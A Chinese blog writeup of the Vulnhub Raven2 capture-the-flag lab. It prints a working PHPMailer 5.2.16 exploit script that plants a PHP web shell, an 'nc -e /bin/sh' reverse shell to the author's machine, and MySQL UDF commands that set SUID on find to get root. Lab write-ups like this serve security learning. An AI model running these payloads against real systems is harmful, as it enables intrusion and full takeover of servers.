渗透测试实用指南

2019-01-21-Vulnhub渗透测试实战writeup(

2019-01-22  本文已影响11人  最初的美好_kai

Raven2....


p1

nmap如下:

# Nmap 7.40 scan initiated Sun Jan 20 22:19:34 2019 as: nmap -p- -A -sV -oN 1.xml 192.168.110.142
Nmap scan report for 192.168.110.142
Host is up (0.0013s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey: 
|   1024 26:81:c1:f3:5e:01:ef:93:49:3d:91:1e:ae:8b:3c:fc (DSA)
|   2048 31:58:01:19:4d:a2:80:a6:b9:0d:40:98:1c:97:aa:53 (RSA)
|_  256 1f:77:31:19:de:b0:e1:6d:ca:77:07:76:84:d3:a9:a0 (ECDSA)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Raven Security
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          40180/udp  status
|_  100024  1          44348/tcp  status
44348/tcp open  status  1 (RPC #100024)
MAC Address: 08:00:27:3F:B3:23 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   1.31 ms 192.168.110.142

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan 20 22:20:08 2019 -- 1 IP address (1 host up) scanned in 35.12 seconds

wpscan的结果如下:

http://192.168.110.142/wordpress/wp-content/uploads/ #这里发现flag3.png...
http://192.168.110.142/wordpress/wp-includes/#一些主题文件来着....php打不开
flag3
p2

dirb没发现啥玩意....
从经验来看主机漏洞没啥玩意可以入手的,那就只能从web入手了,wpscan发现两个用户名michael以及steven,爆破了一波啥都没弱密.....
来到这一波思路枯竭了,只能看看walkthrough解解馋.....
结果发现别人和我一样,但是dirb有几个扫出来的目录,例如/manual对应apache文档,/vendor对应所谓的图片目录下发现新线索,如下:


p3
其中在PATH中发现flag1.....这件事告诉我一定要好好检查每一个目录,不能觉得太常见就不管了......
p4

然后外面有一个version以及许多phpmailer的php文件,告诉我们版本是5.2.16,相当于多一个中间件版本信息,直接上searchsploit,找到是属于远程代码执行的版本来着,那就直接metasploit了.


p5

但是这个所谓的模块一直没起来.....不知道为啥...
后来看了walkthrough的大佬写的bash脚本,直接自己利用了,感觉这个我得学一波js,php代码审计,bash脚本,我曹还好多不会啊.....
大佬的脚本如下:

#!/bin/bash

TARGET=http://raven.local/contact.php

DOCROOT=/var/www/html
FILENAME=backdoor.php
LOCATION=$DOCROOT/$FILENAME

STATUS=$(curl -s \
              --data-urlencode "name=Hackerman" \
              --data-urlencode "email=\"hackerman\\\" -oQ/tmp -X$LOCATION blah\"@badguy.com" \
              --data-urlencode "message=<?php echo shell_exec(\$_GET['cmd']); ?>" \
              --data-urlencode "action=submit" \
              $TARGET | sed -r '146!d')

if grep 'instantiate' &>/dev/null <<<"$STATUS"; then
  echo "[+] Check ${LOCATION}?cmd=[shell command, e.g. id]"
else
  echo "[!] Exploit failed"
fi

稍后查一波把...然后要运行记得要先修改权限....
然后运行以后直接http://192.168.110.140/backdoor.php?cmd=....我用了nc反弹

http://192.168.110.142/backdoor.php?cmd=nc%20-e%20/bin/sh%20192.168.110.1%201234
p6

然后直接cat wp-config.php一波.


p7

尝试一波ssh登录未成功,uname -a 是3.16属于可以dirty cow的队列....
然后find一波


p8.jpg
发现flag2.txt
flag2{6a8ed560f0b5358ecf844108048eb337}

然后就只剩flag4了,应该是要直接上ROOT权限才行了.想尝试一波但是没有执行权限...也没发现什么suid提权的可能性.
这里由于前面获取了mysql的账号密码,以及经过测试有写的权限(wget可以执行),5.1版本以下的可以直接在system32目录下导出udf.dll,5.1以上的直接在/lib/plugin目录下导出就行.
整理一下UDF提权条件:导出目录要知道,其次是写权限,接着要数据库账号密码,要有相应的权限.
walkthrough上都是先去exploit-db上找相应的UDF DLL exploit来编译利用的,

searchsploit –m 1518.c
gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc
p9

然后直接放到靶机上下载利用

wget  http://192.168.110.128/
chmod 777 1518.so
p10

接着登录数据库进行操作

use mysql;
create table foo(line blob);
 insert into foo values(load_file('/tmp/1518.so'));
 select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
 create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');
p11

然后回来getroot了

touch raj
find raj –exec "whoami" \;
find raj –exec "/bin/sh" \;
cd /root
ls
cat flag4.txt
p12

总结一下:
这次四个falg,2个是直接目录爆破出来的,直接使用查看目录就可以获取了..
接着一个是利用phpmialer rce出来的,最后是使用mysql UDF出来的,

上一篇下一篇

猜你喜欢

热点阅读